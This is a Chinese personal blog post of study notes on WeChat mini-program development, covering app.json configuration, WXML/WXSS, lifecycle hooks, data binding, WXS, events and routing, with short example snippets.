 WXML：从html中衍生而来一种专门在小程序页面中使用的语言，组合了基础组件，事件系统，构造出页面的结构
 view元素是表示块级，和div类似
 scroll-view元素是表示可滚动页面区域
-text元素是表示行内文本，和span类似"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"微信小程序学习笔记","item":"https://xiaochenabc123.github.io/posts/48/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"微信小程序学习笔记","name":"微信小程序学习笔记","description":"小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）\n微信之父张小龙是这样描述小程序的：\n小程序是一种不需要下载安装就可以使用的应用，它实现了应用触手可及的梦想。\n用户扫一扫或者搜一下即可打开应用，也体现了用完即走的理念。\n用户不用关心是否安装太多应用的问题，应用将无处不在，随时可用，但又无需安装卸载\n微信小程序的接口服务器要求进行ICP备案，并且经过审核，才能发布小程序\n微信小程序开发文档\nhttps://developers.weixin.qq.com/miniprogram/dev/framework/\n开发工具：微信开发者工具\n小程序的宿主环境\n在iOS中，使用JavaScriptCore，在Android中使用X5内核，在ide中使用nwjs\n小程序的运行机制（冷启动，热启动）\n小程序在后台中停留一段时间后，被微信销毁，再打开时需要重新加载该小程序的资源，也就是冷启动，而在没被销毁的时间段内，再打开该小程序，是不需要重新加载资源，是热启动\n小程序发布更新时，会异步加载新资源，也会导致冷启动\n小程序产品需求\n发现真实需要\n用户深度访谈，分析竞品，付费意愿\n需求分期：最小化可行产品（MVP）\n不是每个功能都要开发（优先开发最重要和最紧急的功能）\n优化开发顺序，先开发基础可用，然后迭代更新功能，满足用户需求，功能文档\n根据用户体验来优化服务\n原型制作工具：墨刀，Axure\n微信小程序结构\nindex.wxml页面结构\nindex.wxss页面样式\nindex.js页面逻辑\n如果设置了单独的页面样式，那么会覆盖掉app.wxss的样式\napp.json定义了页面和基本配置，采用json格式，必须包含pages属性，说明小程序有哪些页面\napp.json文件结构\npages是用来定义页面的，是一个数组，每一个项都是代表一个页面，例如：\n\u0026quot;pages\u0026quot;:[\r\u0026quot;pages/index/index\u0026quot;,\r\u0026quot;pages/demo/demo\u0026quot;\r],\rwindow属性是设置小程序的窗口样式，例如：\n\u0026quot;window\u0026quot;:{\r\u0026quot;backgroundTextStyle\u0026quot;:\u0026quot;light\u0026quot;,\r\u0026quot;navigationBarBackgroundColor\u0026quot;: \u0026quot;#fff\u0026quot;, // 导航栏背景颜色\r\u0026quot;navigationBarTitleText\u0026quot;: \u0026quot;Weixin\u0026quot;, // 导航栏文本\r\u0026quot;navigationBarTextStyle\u0026quot;:\u0026quot;black\u0026quot; // 导航栏文本颜色\r},\r从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么\ndemo.js，Page()是小程序提供的一个函数，用来初始化页面，参数是一个对象，用来配置当前页面的属性\ndemo.wxml，该文件是用来描述页面的，和html类似\npages文件夹：存放小程序页面，每个页面代表为一个文件夹，文件夹名称为页面名称，在这个页面文件夹下的全部文件都是描述这个页面的\nutils文件夹：用于存放公共的js程序，便于不同的页面进行调用\nimgages文件夹：为方便管理小程序的用到的全部静态图片\napp.js：当前项目的js（全局数据和反应）\njson：全局配置\nwxss：全局样式\nproject.config.json：项目配置文件，配置微信开发者工具，例如工具的页面颜色，编译配置等等个性化配置\npage.json: 单独定义每个页面的一些属性，例如：顶部颜色，是否可以下拉刷新等等\napp.json：这是一种数据格式，小程序的静态配置（全局配置），页面的路径，界面的表现，顶部样式，网络超时等等\npages字段：描述当前小程序所有页面的路径，让微信清楚小程序页面定义在哪个目录\nwindow字段：定义小程序所有页面的顶部背景颜色，文字颜色等等\njson是包裹在一个括号中，以键值对的方式表达数据，值必须包含在双引号中，在json中无法使用注释\nwxml\nWXML：从html中衍生而来一种专门在小程序页面中使用的语言，组合了基础组件，事件系统，构造出页面的结构\nview元素是表示块级，和div类似\nscroll-view元素是表示可滚动页面区域\ntext元素是表示行内文本，和span类似","keywords":["微信小程序"],"articleBody":"小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）\n微信之父张小龙是这样描述小程序的：\n小程序是一种不需要下载安装就可以使用的应用，它实现了应用触手可及的梦想。\n用户扫一扫或者搜一下即可打开应用，也体现了用完即走的理念。\n用户不用关心是否安装太多应用的问题，应用将无处不在，随时可用，但又无需安装卸载\n微信小程序的接口服务器要求进行ICP备案，并且经过审核，才能发布小程序\n微信小程序开发文档\nhttps://developers.weixin.qq.com/miniprogram/dev/framework/\n开发工具：微信开发者工具\n小程序的宿主环境\n在iOS中，使用JavaScriptCore，在Android中使用X5内核，在ide中使用nwjs\n小程序的运行机制（冷启动，热启动）\n小程序在后台中停留一段时间后，被微信销毁，再打开时需要重新加载该小程序的资源，也就是冷启动，而在没被销毁的时间段内，再打开该小程序，是不需要重新加载资源，是热启动\n小程序发布更新时，会异步加载新资源，也会导致冷启动\n小程序产品需求\n发现真实需要\n用户深度访谈，分析竞品，付费意愿\n需求分期：最小化可行产品（MVP）\n不是每个功能都要开发（优先开发最重要和最紧急的功能）\n优化开发顺序，先开发基础可用，然后迭代更新功能，满足用户需求，功能文档\n根据用户体验来优化服务\n原型制作工具：墨刀，Axure\n微信小程序结构\nindex.wxml页面结构\nindex.wxss页面样式\nindex.js页面逻辑\n如果设置了单独的页面样式，那么会覆盖掉app.wxss的样式\napp.json定义了页面和基本配置，采用json格式，必须包含pages属性，说明小程序有哪些页面\napp.json文件结构\npages是用来定义页面的，是一个数组，每一个项都是代表一个页面，例如：\n\"pages\":[\r\"pages/index/index\",\r\"pages/demo/demo\"\r],\rwindow属性是设置小程序的窗口样式，例如：\n\"window\":{\r\"backgroundTextStyle\":\"light\",\r\"navigationBarBackgroundColor\": \"#fff\", // 导航栏背景颜色\r\"navigationBarTitleText\": \"Weixin\", // 导航栏文本\r\"navigationBarTextStyle\":\"black\" // 导航栏文本颜色\r},\r从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么\ndemo.js，Page()是小程序提供的一个函数，用来初始化页面，参数是一个对象，用来配置当前页面的属性\ndemo.wxml，该文件是用来描述页面的，和html类似\npages文件夹：存放小程序页面，每个页面代表为一个文件夹，文件夹名称为页面名称，在这个页面文件夹下的全部文件都是描述这个页面的\nutils文件夹：用于存放公共的js程序，便于不同的页面进行调用\nimgages文件夹：为方便管理小程序的用到的全部静态图片\napp.js：当前项目的js（全局数据和反应）\njson：全局配置\nwxss：全局样式\nproject.config.json：项目配置文件，配置微信开发者工具，例如工具的页面颜色，编译配置等等个性化配置\npage.json: 单独定义每个页面的一些属性，例如：顶部颜色，是否可以下拉刷新等等\napp.json：这是一种数据格式，小程序的静态配置（全局配置），页面的路径，界面的表现，顶部样式，网络超时等等\npages字段：描述当前小程序所有页面的路径，让微信清楚小程序页面定义在哪个目录\nwindow字段：定义小程序所有页面的顶部背景颜色，文字颜色等等\njson是包裹在一个括号中，以键值对的方式表达数据，值必须包含在双引号中，在json中无法使用注释\nwxml\nWXML：从html中衍生而来一种专门在小程序页面中使用的语言，组合了基础组件，事件系统，构造出页面的结构\nview元素是表示块级，和div类似\nscroll-view元素是表示可滚动页面区域\ntext元素是表示行内文本，和span类似\nimage元素是表示图片，和img类似\nswiper元素是用来搞轮播图\n属性\nbindtap属性可绑定事件函数\nhidden属性控制元素是否隐藏，true为隐藏\nwxss样式，采用css样式语法，和写普通的css样式一样，选择器属性样式之类的就不写了，具备css大部分的特性，具体看我写的css笔记，背景，字体，边框，定位，大小之类的，用法是一样的，可以给wxml标签设置class，采用的是W3C标准盒模型，另外小程序官方推荐使用flex布局\n推荐静态样式写入class中，style用来接收动态的样式，避免出样式优先级问题，例如：\nAlt+shift+f：自动格式化代码\n注意：微信小程序的基本单位是rpx，而不是px，不管是什么页面（无论多大或者多小），页面100%就是750rpx，因此页面的1%等于7.5rpx\n另外微信官方提供了一套UI框架，https://weui.io/，github库地址：https://github.com/Tencent/weui-wxss/\n用法，直接引用weui.wxss，然后像用bootstrap一样，给标签加类\n例子：\nhallo wrod\rPage({\rdata: {\rcolor: '#ccc'\r}\r})\rWXSS选择器支持.class，#id，组件选择（例如view，选择全部view组件），::after（view::after，在view组件后插入内容），::before（view::before，在view组件前面插入内容）\n项目目录结构\napp.js：必需，小程序的逻辑所在\napp.json：必需，小程序的公共配置\napp.wxss：不必需，小程序的公共样式\n页面组成\njs：必需，页面逻辑\nwxml：必需，页面结构\njson：不必需，页面的配置\nwxss：不必需，页面的样式\n小程序支持的文件：\nwxs，png，jpg，jpeg，gif，svg，json，cer，mp3，aac，m4a，mp4，wav，ogg，silk，wasm，br\n全局配置：app.json是用于小程序进行的全局配置，决定页面文件路径，窗口表现，网络超时等等\npages配置：定义页面的路径，优先显示第一个设置的页面\nwindow配置：定义所有页面的顶部样式\ntabBar配置：底部tab栏的表现\n页面配置：每个页面都可以使用.json来配置当前页面的窗口表现，注意：会覆盖掉app.json相同的配置项\nstiemap配置：通过配置sitemap.json或者后台页面收录开关来确定小程序页面是否允许被微信索引，当被允许时，微信会通过爬虫的形式，对小程序的页面内容进行索引\n生命周期\n应用生命周期\nonLaunch：小程序初始化，当页面第一次加载时触发，跳转页面返回不触发\nonShow：小程序显示（前台），当页面显示或者从后台返回小程序显示该页面时触发，从跳转页面返回时触发\nonError：小程序页面异常触发\nonPageNotFound：页面不存在\n页面生命周期\nonLoad：页面加载触发\nonShow：页面显示触发\nonReady：页面初次渲染完成触发\nonHide：页面隐藏触发\nonUnload：小程序页面卸载，例如： 重定向一个页面，原页面被关闭\nonPullDownRefresh：用户下拉触发\nonReachBottom：页面上拉触底触发\nonPageScroll：页面被滚动触发\nonResize：页面尺寸发生改变时输出\n小程序组件生命周期\ncreated：当组件实例被初始化时触发该生命周期钩子（在该钩子触发时，并不能使用setData，this.data等于Component.data）\nattached：当组件实例初始化完毕，进入页面节点树后触发该生命周期钩子（this.data被初始化为组件的当前值）\nready：当组件实例在视图层布局完成后触发该生命周期钩子\nmoved：当组件实例被移动到节点树另一个位置时触发该生命周期钩子\ndetached：当组件实例被销毁时触发该生命周期钩子（退出当前组件的页面树，也会触发该生命周期钩子）\nerror：当组件方法抛出错误时触发该生命周期钩子\nWXML，数据绑定，列表渲染，条件渲染，模板引用\n数据绑定和vue类似，不过小程序的数据绑定是单向的\nindex.wxml\n{{message}} index.js\nPage({\rdata: {\rmessage: 'hallo word'\r}\r})\r属性绑定\nindex.wxml\nindex.js\nPage({\rdata: {\rmessage: 'hallo word'\r}\r})\r列表渲染\n{{index}}:{{abc}} Page({\rdata: {\rarrs: [1,2,3,4,5]\r}\r})\r条件渲染\nTrue hallo wrod Page({\rdata: {\rhallo: true,\rabc: 2\r}\r}\r允许使用wx:if，wx:elif和wx:else使用\nwx:if是控制属性，可以判断组件是否是否显示，多个组件使用block元素包裹\nvx:if和hidden组件的区别，hidden是通过hidden属性隐藏，vx:if是通过局部重新渲染的方式，直接将该组件移除出该DOM\nWXML的共同属性，id，class，style，hidden，data-，bind/catch*\n模板引用\ndata.wxml\nid: {{id}}\rname: {{name}}\rage: {{age}}\rindex.wxml index.js\nPage({\rdata: {\rdataitem: {\rid: 1,\rname: chenjunlin,\rage: 20\r}\r}\r})\r注意：import模板时，是存在作用域的，只能import该模板的内容，如果这个wxml文件内有其他内容是不会被渲染到页面的，避免模板引用死循环\n而使用include组件引用的话，是直接目标整个引入进来，这个时候引用模板和直接在声明模板的文件使用是一样的，就好像include组件将目标整个复制进来一样\nWXS\nWXS是小程序的脚本语言，搭配WXML使用，WXS不依赖于小程序的运行时基本库版本，和JavaScript环境隔离，WXS不能调用js文件定义的，也不能使用小程序提供的api，WXS函数不能作为事件回调函数\nvar abc = 'hallo word'\rmodule.exports = {\rxyz: abc\r}\rmodule.exports.value = 100\r{{hhh.xyz}}\r{{hhh.value}}\r小程序事件\n事件是视图层到逻辑层的通讯方式，监听用户的行为，通过事件的方式反映到逻辑层进行处理\n点击事件（tap），长按事件（longpress），触摸事件（例如：开始触摸（touchstart），结束触摸（touchend），终止触摸（touchcancel））等等\n事件（视图层到逻辑层的通信）\nhallo word Page({\rtaptest(event) {\rconsole.log(event)\r}\r})\r事件处理机制：事件捕获，事件处理，事件冒泡\n路由\n打开新页面通过调用wx.navigateTo API或者使用组件\n页面重东西通过调用wx.redirectTo API或者使用组件\n页面返回通过调用wx.navigateBack API或者使用组件\ntab切换通过调用wx.switchTab API或者使用组件\n重启动通过调用wx.reLaunch API或者使用组件\nMINA(MINA IS NOT APP) 是微信开发小程序的框架\nMINA框架由视图层（小程序的page页面），逻辑层，系统层（JSBridge，微信API，离线存储，网络请求等等）组成\n渲染会将WXML节点转换成js对象（AST节点树），更新数据时会进行diff差异处理\n小程序运行机制\n启动（冷启动（首次启动需要加载，生命周期为销毁时），热启动（无需加载））\n微信小程序提供2个线程来处理，分别是View Thread和AppService Thread，这2个线程同时进行加载（并行），View Thread加载完毕后，会通知AppService Thread，AppService Thread再将处理完毕的数据交付给View Thread\n微信小程序API\n网络请求，媒体处理，上传下载文件，数据缓存，位置信息，设备信息，路由控制\n微信开放功能：登录授权，微信支持，模板消息，转发分享，打开APP\nAPI一般有3个回调函数，success（api成功后），fail（api调用失败后），complete（api调用完成时，不管成功与否）\nApi官方文档：https://developers.weixin.qq.com/miniprogram/dev/api/\n","wordCount":"308","inLanguage":"en","datePublished":"2021-06-27T12:34:00Z","dateModified":"2021-06-27T12:34:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/48/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>微信小程序学习笔记</h1><div class=post-meta><span title='2021-06-27 12:34:00 +0000 UTC'>2021-06-27</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e5%be%ae%e4%bf%a1%e5%b0%8f%e7%a8%8b%e5%ba%8f%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）</p><p>微信之父张小龙是这样描述小程序的：</p><p>小程序是一种不需要下载安装就可以使用的应用，它实现了应用触手可及的梦想。</p><p>用户扫一扫或者搜一下即可打开应用，也体现了用完即走的理念。</p><p>用户不用关心是否安装太多应用的问题，应用将无处不在，随时可用，但又无需安装卸载</p><p>微信小程序的接口服务器要求进行ICP备案，并且经过审核，才能发布小程序</p><p>微信小程序开发文档</p><p><a href=https://developers.weixin.qq.com/miniprogram/dev/framework/>https://developers.weixin.qq.com/miniprogram/dev/framework/</a></p><p>开发工具：微信开发者工具</p><p>小程序的宿主环境</p><p>在iOS中，使用JavaScriptCore，在Android中使用X5内核，在ide中使用nwjs</p><p>小程序的运行机制（冷启动，热启动）</p><p>小程序在后台中停留一段时间后，被微信销毁，再打开时需要重新加载该小程序的资源，也就是冷启动，而在没被销毁的时间段内，再打开该小程序，是不需要重新加载资源，是热启动</p><p>小程序发布更新时，会异步加载新资源，也会导致冷启动</p><hr><p>小程序产品需求</p><p>发现真实需要</p><p>用户深度访谈，分析竞品，付费意愿</p><p>需求分期：最小化可行产品（MVP）</p><p>不是每个功能都要开发（优先开发最重要和最紧急的功能）</p><p>优化开发顺序，先开发基础可用，然后迭代更新功能，满足用户需求，功能文档</p><p>根据用户体验来优化服务</p><p>原型制作工具：墨刀，Axure</p><hr><p>微信小程序结构</p><p>index.wxml页面结构</p><p>index.wxss页面样式</p><p>index.js页面逻辑</p><p>如果设置了单独的页面样式，那么会覆盖掉app.wxss的样式</p><p>app.json定义了页面和基本配置，采用json格式，必须包含pages属性，说明小程序有哪些页面</p><p>app.json文件结构</p><p>pages是用来定义页面的，是一个数组，每一个项都是代表一个页面，例如：</p><pre><code>&quot;pages&quot;:[
-    &quot;pages/index/index&quot;,
-    &quot;pages/demo/demo&quot;
-  ],
-</code></pre><p>window属性是设置小程序的窗口样式，例如：</p><pre><code>&quot;window&quot;:{
-    &quot;backgroundTextStyle&quot;:&quot;light&quot;,
-    &quot;navigationBarBackgroundColor&quot;: &quot;#fff&quot;,  // 导航栏背景颜色
-    &quot;navigationBarTitleText&quot;: &quot;Weixin&quot;,  // 导航栏文本
-    &quot;navigationBarTextStyle&quot;:&quot;black&quot;  // 导航栏文本颜色
-},
-</code></pre><p>从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么</p><p>demo.js，Page()是小程序提供的一个函数，用来初始化页面，参数是一个对象，用来配置当前页面的属性</p><p>demo.wxml，该文件是用来描述页面的，和html类似</p><p>pages文件夹：存放小程序页面，每个页面代表为一个文件夹，文件夹名称为页面名称，在这个页面文件夹下的全部文件都是描述这个页面的</p><p>utils文件夹：用于存放公共的js程序，便于不同的页面进行调用</p><p>imgages文件夹：为方便管理小程序的用到的全部静态图片</p><p>app.js：当前项目的js（全局数据和反应）</p><p>json：全局配置</p><p>wxss：全局样式</p><p>project.config.json：项目配置文件，配置微信开发者工具，例如工具的页面颜色，编译配置等等个性化配置</p><p>page.json: 单独定义每个页面的一些属性，例如：顶部颜色，是否可以下拉刷新等等</p><hr><p>app.json：这是一种数据格式，小程序的静态配置（全局配置），页面的路径，界面的表现，顶部样式，网络超时等等</p><p>pages字段：描述当前小程序所有页面的路径，让微信清楚小程序页面定义在哪个目录</p><p>window字段：定义小程序所有页面的顶部背景颜色，文字颜色等等</p><p>json是包裹在一个括号中，以键值对的方式表达数据，值必须包含在双引号中，在json中无法使用注释</p><hr><p>wxml</p><p>WXML：从html中衍生而来一种专门在小程序页面中使用的语言，组合了基础组件，事件系统，构造出页面的结构</p><p>view元素是表示块级，和div类似</p><p>scroll-view元素是表示可滚动页面区域</p><p>text元素是表示行内文本，和span类似</p><p>image元素是表示图片，和img类似</p><p>swiper元素是用来搞轮播图</p><p>属性</p><p>&lt;view 属性=&ldquo;属性值&rdquo;></p><p>bindtap属性可绑定事件函数</p><p>hidden属性控制元素是否隐藏，true为隐藏</p><hr><p>wxss样式，采用css样式语法，和写普通的css样式一样，选择器属性样式之类的就不写了，具备css大部分的特性，具体看我写的css笔记，背景，字体，边框，定位，大小之类的，用法是一样的，可以给wxml标签设置class，采用的是W3C标准盒模型，另外小程序官方推荐使用flex布局</p><p>推荐静态样式写入class中，style用来接收动态的样式，避免出样式优先级问题，例如：</p><p></p><p>Alt+shift+f：自动格式化代码</p><p>注意：微信小程序的基本单位是rpx，而不是px，不管是什么页面（无论多大或者多小），页面100%就是750rpx，因此页面的1%等于7.5rpx</p><p>另外微信官方提供了一套UI框架，https://weui.io/，github库地址：https://github.com/Tencent/weui-wxss/</p><p>用法，直接引用weui.wxss，然后像用bootstrap一样，给标签加类</p><p>例子：</p><pre><code>&lt;view style=&quot;width:100rpx;height:100rpx;background-color:{{color}}&quot;&gt;hallo wrod&lt;/view&gt;
-
-
-Page({
-    data: {
-        color: '#ccc'
-    }
-})
-</code></pre><p>WXSS选择器支持.class，#id，组件选择（例如view，选择全部view组件），::after（view::after，在view组件后插入内容），::before（view::before，在view组件前面插入内容）</p><hr><p>项目目录结构</p><p>app.js：必需，小程序的逻辑所在</p><p>app.json：必需，小程序的公共配置</p><p>app.wxss：不必需，小程序的公共样式</p><hr><p>页面组成</p><p>js：必需，页面逻辑</p><p>wxml：必需，页面结构</p><p>json：不必需，页面的配置</p><p>wxss：不必需，页面的样式</p><p>小程序支持的文件：</p><p>wxs，png，jpg，jpeg，gif，svg，json，cer，mp3，aac，m4a，mp4，wav，ogg，silk，wasm，br</p><hr><p>全局配置：app.json是用于小程序进行的全局配置，决定页面文件路径，窗口表现，网络超时等等</p><p>pages配置：定义页面的路径，优先显示第一个设置的页面</p><p>window配置：定义所有页面的顶部样式</p><p>tabBar配置：底部tab栏的表现</p><p>页面配置：每个页面都可以使用.json来配置当前页面的窗口表现，注意：会覆盖掉app.json相同的配置项</p><p>stiemap配置：通过配置sitemap.json或者后台页面收录开关来确定小程序页面是否允许被微信索引，当被允许时，微信会通过爬虫的形式，对小程序的页面内容进行索引</p><p>生命周期</p><p>应用生命周期</p><p>onLaunch：小程序初始化，当页面第一次加载时触发，跳转页面返回不触发</p><p>onShow：小程序显示（前台），当页面显示或者从后台返回小程序显示该页面时触发，从跳转页面返回时触发</p><p>onError：小程序页面异常触发</p><p>onPageNotFound：页面不存在</p><p>页面生命周期</p><p>onLoad：页面加载触发</p><p>onShow：页面显示触发</p><p>onReady：页面初次渲染完成触发</p><p>onHide：页面隐藏触发</p><p>onUnload：小程序页面卸载，例如： 重定向一个页面，原页面被关闭</p><p>onPullDownRefresh：用户下拉触发</p><p>onReachBottom：页面上拉触底触发</p><p>onPageScroll：页面被滚动触发</p><p>onResize：页面尺寸发生改变时输出</p><hr><p>小程序组件生命周期</p><p>created：当组件实例被初始化时触发该生命周期钩子（在该钩子触发时，并不能使用setData，this.data等于Component.data）</p><p>attached：当组件实例初始化完毕，进入页面节点树后触发该生命周期钩子（this.data被初始化为组件的当前值）</p><p>ready：当组件实例在视图层布局完成后触发该生命周期钩子</p><p>moved：当组件实例被移动到节点树另一个位置时触发该生命周期钩子</p><p>detached：当组件实例被销毁时触发该生命周期钩子（退出当前组件的页面树，也会触发该生命周期钩子）</p><p>error：当组件方法抛出错误时触发该生命周期钩子</p><hr><p>WXML，数据绑定，列表渲染，条件渲染，模板引用</p><hr><p>数据绑定和vue类似，不过小程序的数据绑定是单向的</p><p>index.wxml</p><pre><code>&lt;view&gt; {{message}} &lt;/view&gt;
-</code></pre><p>index.js</p><pre><code>Page({
-    data: {
-        message: 'hallo word'
-     }
-})
-</code></pre><p>属性绑定</p><p>index.wxml</p><pre><code>&lt;view&gt;
-    &lt;text class='{message}'&gt;&lt;/text&gt;
-&lt;/view&gt;
-</code></pre><p>index.js</p><pre><code>Page({
-    data: {
-        message: 'hallo word'
-     }
-})
-</code></pre><p>列表渲染</p><pre><code>&lt;block wx:for=&quot;{{arrs}}&quot; wx:fot-item=&quot;abc&quot; ws:key=&quot;index&quot;&gt; 
-    &lt;view&gt;
-        {{index}}:{{abc}} 
-    &lt;/view&gt;
-&lt;/block&gt;
-
-Page({
-    data: {
-        arrs: [1,2,3,4,5]
-     }
-})
-</code></pre><p>条件渲染</p><pre><code>&lt;view wx:if=&quot;{{hallo}}&quot;&gt; True &lt;/view&gt;
-&lt;view wx:if=&quot;{{abc === 1}}&quot;&gt; hallo wrod &lt;/view&gt;
-
-Page({
-    data: {
-        hallo: true,
-        abc: 2
-     }
-}
-</code></pre><p>允许使用wx:if，wx:elif和wx:else使用</p><p>wx:if是控制属性，可以判断组件是否是否显示，多个组件使用block元素包裹</p><p>vx:if和hidden组件的区别，hidden是通过hidden属性隐藏，vx:if是通过局部重新渲染的方式，直接将该组件移除出该DOM</p><p>WXML的共同属性，id，class，style，hidden，data-<em>，bind</em>/catch*</p><p>模板引用</p><p>data.wxml</p><pre><code>&lt;template name='tempa'&gt;
-    &lt;view&gt;
-        id: {{id}}
-        name: {{name}}
-        age: {{age}}
-    &lt;/view&gt;
-&lt;/template&gt;
-</code></pre><p>index.wxml</p><p>index.js</p><pre><code>Page({
-    data: {
-        dataitem: {
-            id: 1,
-            name: chenjunlin,
-            age: 20
-        }
-    }
-})
-</code></pre><p>注意：import模板时，是存在作用域的，只能import该模板的内容，如果这个wxml文件内有其他内容是不会被渲染到页面的，避免模板引用死循环</p><p>而使用include组件引用的话，是直接目标整个引入进来，这个时候引用模板和直接在声明模板的文件使用是一样的，就好像include组件将目标整个复制进来一样</p><hr><p>WXS</p><p>WXS是小程序的脚本语言，搭配WXML使用，WXS不依赖于小程序的运行时基本库版本，和JavaScript环境隔离，WXS不能调用js文件定义的，也不能使用小程序提供的api，WXS函数不能作为事件回调函数</p><pre><code>&lt;wxs module='hhh'&gt;
-    var abc = 'hallo word'
-    module.exports = {
-        xyz: abc
-    }
-    module.exports.value = 100
-       
-&lt;/wxs&gt;
-&lt;view&gt;{{hhh.xyz}}&lt;/view&gt;
-&lt;view&gt;{{hhh.value}}&lt;/view&gt;
-</code></pre><hr><p>小程序事件</p><p>事件是视图层到逻辑层的通讯方式，监听用户的行为，通过事件的方式反映到逻辑层进行处理</p><p>点击事件（tap），长按事件（longpress），触摸事件（例如：开始触摸（touchstart），结束触摸（touchend），终止触摸（touchcancel））等等</p><p>事件（视图层到逻辑层的通信）</p><pre><code>&lt;view id='tap' bindtap='taptest'&gt; hallo word &lt;/view&gt;
-
-Page({
-    taptest(event) {
-        console.log(event)
-    }
-})
-</code></pre><p>事件处理机制：事件捕获，事件处理，事件冒泡</p><hr><p>路由</p><p>打开新页面通过调用wx.navigateTo API或者使用组件</p><p>页面重东西通过调用wx.redirectTo API或者使用组件</p><p>页面返回通过调用wx.navigateBack API或者使用组件</p><p>tab切换通过调用wx.switchTab API或者使用组件</p><p>重启动通过调用wx.reLaunch API或者使用组件</p><hr><p>MINA(MINA IS NOT APP) 是微信开发小程序的框架</p><p>MINA框架由视图层（小程序的page页面），逻辑层，系统层（JSBridge，微信API，离线存储，网络请求等等）组成</p><p>渲染会将WXML节点转换成js对象（AST节点树），更新数据时会进行diff差异处理</p><p>小程序运行机制</p><p>启动（冷启动（首次启动需要加载，生命周期为销毁时），热启动（无需加载））</p><p>微信小程序提供2个线程来处理，分别是View Thread和AppService Thread，这2个线程同时进行加载（并行），View Thread加载完毕后，会通知AppService Thread，AppService Thread再将处理完毕的数据交付给View Thread</p><hr><p>微信小程序API</p><p>网络请求，媒体处理，上传下载文件，数据缓存，位置信息，设备信息，路由控制</p><p>微信开放功能：登录授权，微信支持，模板消息，转发分享，打开APP</p><p>API一般有3个回调函数，success（api成功后），fail（api调用失败后），complete（api调用完成时，不管成功与否）</p><p>Api官方文档：https://developers.weixin.qq.com/miniprogram/dev/api/</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/>微信小程序</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/49/><span class=title>« Prev</span><br><span>数据结构与算法学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/47/><span class=title>Next »</span><br><span>webpack学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
